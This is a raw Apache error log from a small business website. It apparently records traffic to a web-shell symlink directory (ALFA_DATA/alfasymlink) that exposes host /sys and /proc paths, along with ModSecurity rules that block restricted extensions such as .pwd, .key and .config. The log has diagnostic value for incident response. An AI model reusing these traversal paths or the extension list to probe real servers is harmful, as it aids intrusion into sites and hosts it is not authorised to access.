[Sun Oct 25 17:21:36.868593 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 187.19.135.207:57654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/min_partial
[Sun Oct 25 17:21:39.046000 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 87.79.51.46:64590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/min_partial
[Sun Oct 25 17:21:42.412029 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 23.21.204.95:45672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:21:43.545116 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 73.186.132.23:36011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/destroy_by_rcu
[Sun Oct 25 17:21:49.782176 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 151.255.70.225:1042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/destroy_by_rcu
[Sun Oct 25 17:21:52.794644 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 144.124.198.216:34583] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/destroy_by_rcu
[Sun Oct 25 17:21:54.879729 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 185.191.171.18:39552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:21:57.284012 2026] [security2:error] [pid 2897967:tid 2897967] [client 85.208.96.203:39594] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Loopback.conf"] [unique_id "at5y9RVtY6H0wJd2uaIK1wAAADA"]
[Sun Oct 25 17:21:57.284775 2026] [security2:error] [pid 2897967:tid 2897967] [client 85.208.96.203:39594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Loopback.conf"] [unique_id "at5y9RVtY6H0wJd2uaIK1wAAADA"]
[Sun Oct 25 17:21:57.285123 2026] [security2:error] [pid 2897967:tid 2897967] [client 85.208.96.203:39594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/Loopback.conf"] [unique_id "at5y9RVtY6H0wJd2uaIK1wAAADA"]
[Sun Oct 25 17:21:58.713841 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 52.21.62.139:54830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:22:00.469177 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 176.28.166.219:8302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/usersize
[Sun Oct 25 17:22:05.268175 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 185.191.171.14:53108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/destroy_by_rcu
[Sun Oct 25 17:22:10.112677 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 173.245.202.82:57760] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/usersize
[Sun Oct 25 17:22:18.268023 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 18.214.138.148:54506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:22:21.696891 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 91.151.136.116:58447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/hwcache_align
[Sun Oct 25 17:22:23.908790 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 185.195.59.189:37530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/hwcache_align
[Sun Oct 25 17:22:30.495570 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 52.204.89.12:29223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:22:32.032222 2026] [core:error] [pid 2903083:tid 2903083] (13)Permission denied: [client 92.208.150.40:37441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/hwcache_align
[Sun Oct 25 17:22:34.393287 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 34.231.118.144:18751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:22:38.299695 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 44.212.131.50:14840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:22:52.452946 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 185.191.171.11:61788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/cpu_slabs
[Sun Oct 25 17:22:54.455630 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.236.185.101:60369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:22:58.357585 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 18.205.91.101:14264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/cpu1/node0/cpu1/crash_notes_size
[Sun Oct 25 17:23:03.221292 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 102.129.75.190:18005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects
[Sun Oct 25 17:23:05.332460 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 172.59.66.114:62105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects
[Sun Oct 25 17:23:07.298689 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 154.50.125.71:58060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects
[Sun Oct 25 17:23:14.302546 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 54.147.238.89:52257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/platform/pcspkr/driver/uevent
[Sun Oct 25 17:23:18.505577 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 18.214.186.220:61322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:23:30.659451 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 44.215.61.66:24097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:23:33.190471 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 177.221.0.78:19175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects_partial
[Sun Oct 25 17:23:34.434880 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 44.215.235.20:39987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:23:38.796934 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 52.201.155.215:15032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:23:42.357791 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 44.215.61.66:51330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:23:44.251994 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 102.176.37.230:32917] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects_partial
[Sun Oct 25 17:23:46.573172 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 34.236.185.101:37986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/new_id
[Sun Oct 25 17:23:50.850436 2026] [security2:error] [pid 2899543:tid 2899543] [client 43.157.142.101:45382] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at5zZsY9yad2bfqj7tUHeQAAAAo"]
[Sun Oct 25 17:23:54.198305 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 185.146.112.112:47234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objects_partial
[Sun Oct 25 17:23:54.767000 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 185.191.171.15:31090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/sanity_checks
[Sun Oct 25 17:23:57.037939 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 102.96.43.188:36462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objects_partial
[Sun Oct 25 17:23:59.873663 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 172.216.11.23:34132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objects_partial
[Sun Oct 25 17:24:16.881413 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 188.133.65.253:22105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/total_objects
[Sun Oct 25 17:24:18.851120 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 172.59.98.221:18126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/reclaim_account
[Sun Oct 25 17:24:19.218063 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 70.135.153.76:57265] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/total_objects
[Sun Oct 25 17:24:19.430771 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 52.4.229.9:45176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:24:20.911863 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 192.235.61.245:20043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/total_objects
[Sun Oct 25 17:24:22.275009 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 190.3.29.21:49960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/reclaim_account
[Sun Oct 25 17:24:22.356217 2026] [ssl:error] [pid 2899599:tid 2899599] (5)Input/output error: [client 3.211.181.86:31213] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:24:22.580794 2026] [core:error] [pid 2901649:tid 2901649] (13)Permission denied: [client 73.139.138.241:47123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/usersize
[Sun Oct 25 17:24:23.682853 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 2.96.171.214:33109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/remote_node_defrag_ratio
[Sun Oct 25 17:24:25.316345 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 179.60.219.52:45784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/reclaim_account
[Sun Oct 25 17:24:26.220364 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 103.162.8.150:61284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/usersize
[Sun Oct 25 17:24:26.300980 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 201.203.117.36:2705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/remote_node_defrag_ratio
[Sun Oct 25 17:24:27.491536 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 190.89.29.0:36074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objs_per_slab
[Sun Oct 25 17:24:28.134433 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 181.79.175.9:50772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/remote_node_defrag_ratio
[Sun Oct 25 17:24:28.551000 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 73.9.235.202:38171] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/usersize
[Sun Oct 25 17:24:34.522727 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 34.206.193.60:37167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:24:36.087965 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 69.131.42.73:59961] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/align
[Sun Oct 25 17:24:37.629243 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 72.191.92.35:39769] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/align
[Sun Oct 25 17:24:38.676136 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 86.31.192.209:45647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slabs
[Sun Oct 25 17:24:39.015845 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 195.62.50.37:35418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objs_per_slab
[Sun Oct 25 17:24:39.657399 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 189.155.117.231:42647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/cpu_partial
[Sun Oct 25 17:24:41.206397 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 150.107.43.114:58817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/align
[Sun Oct 25 17:24:41.321562 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 45.228.136.131:40684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/remote_node_defrag_ratio
[Sun Oct 25 17:24:41.440783 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 82.194.26.233:55172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slabs
[Sun Oct 25 17:24:41.784381 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 90.222.96.117:55057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/cpu_partial
[Sun Oct 25 17:24:42.666872 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 52.3.155.146:27839] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:0e/subsystem/drivers/hpet/unbind
[Sun Oct 25 17:24:43.599008 2026] [core:error] [pid 2904653:tid 2904653] (13)Permission denied: [client 177.241.176.252:7955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slabs
[Sun Oct 25 17:24:43.702548 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 38.134.249.147:60524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/cpu_partial
[Sun Oct 25 17:24:46.765709 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 52.44.148.203:59392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:24:58.679681 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 52.70.209.13:61029] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/subsystem/drivers/vmd/uevent
[Sun Oct 25 17:25:02.435368 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 34.231.156.59:49184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/tcp_bind_bucket/slabs_cpu_partial
[Sun Oct 25 17:25:06.417497 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 98.83.94.113:7224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:14.766551 2026] [ssl:error] [pid 2900794:tid 2900794] (70014)End of file found: [client 52.4.229.9:42489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:18.523546 2026] [ssl:error] [pid 2899543:tid 2899543] (70014)End of file found: [client 34.239.197.197:6862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:22.441746 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 54.84.161.62:4510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:25.839710 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 92.18.167.137:44745] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/slabs_cpu_partial
[Sun Oct 25 17:25:27.848266 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 75.83.89.97:42081] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/slabs_cpu_partial
[Sun Oct 25 17:25:28.860222 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 190.97.237.138:25084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/alloc_calls
[Sun Oct 25 17:25:30.232840 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 208.26.85.214:37139] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/alloc_calls
[Sun Oct 25 17:25:30.690189 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.216.227.216:45028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:34.556717 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 98.82.63.147:12635] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:38.496933 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 52.4.238.8:63866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/pci/devices/0000:00:03.0/subsystem/drivers/pci-stub/unbind
[Sun Oct 25 17:25:44.343371 2026] [core:error] [pid 2904653:tid 2904653] (13)Permission denied: [client 122.183.45.152:6352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/sanity_checks
[Sun Oct 25 17:25:46.452626 2026] [ssl:error] [pid 2897962:tid 2897962] (5)Input/output error: [client 44.223.116.149:50688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:25:47.411543 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 172.58.250.34:59178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/sanity_checks
[Sun Oct 25 17:25:52.406180 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 76.111.44.58:38828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/sanity_checks
[Sun Oct 25 17:25:58.001454 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 185.191.171.6:18674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/align
[Sun Oct 25 17:25:58.485449 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 184.73.195.18:34115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:02.675959 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 85.208.96.198:50002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:04.028414 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 85.85.28.206:3924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/object_size
[Sun Oct 25 17:26:06.135469 2026] [core:error] [pid 2904653:tid 2904653] (13)Permission denied: [client 186.65.91.242:37314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/object_size
[Sun Oct 25 17:26:06.660646 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 54.83.240.58:7256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/subsystem/drivers/atkbd/uevent
[Sun Oct 25 17:26:08.877876 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 194.124.36.28:44758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/object_size
[Sun Oct 25 17:26:10.554524 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.215.210.112:39073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:11.694851 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 85.208.96.194:59492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/remote_node_defrag_ratio
[Sun Oct 25 17:26:15.150436 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 179.189.175.21:20794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/poison
[Sun Oct 25 17:26:18.628143 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.225.45.252:51341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:22.518825 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 34.194.226.74:13081] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:24.739809 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 47.38.0.222:55718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/poison
[Sun Oct 25 17:26:26.532206 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 34.192.125.239:58677] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event3/device/device/subsystem/drivers/psmouse/bind
[Sun Oct 25 17:26:34.686089 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 52.205.222.214:21840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:43.084946 2026] [ssl:error] [pid 2899599:tid 2899599] (70014)End of file found: [client 44.215.210.112:17371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:26:53.757342 2026] [core:error] [pid 2899543:tid 2899543] (13)Permission denied: [client 188.247.168.136:56705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/align
[Sun Oct 25 17:26:54.730974 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 18.214.186.220:17260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty26/subsystem/ptmx/subsystem/ttyS0/xmit_fifo_size
[Sun Oct 25 17:26:55.776375 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 67.191.103.194:34306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/align
[Sun Oct 25 17:26:57.949352 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 109.107.243.227:5882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/align
[Sun Oct 25 17:27:10.860757 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 18.209.201.119:18969] AH02013: coalesce failed to read from data bucket
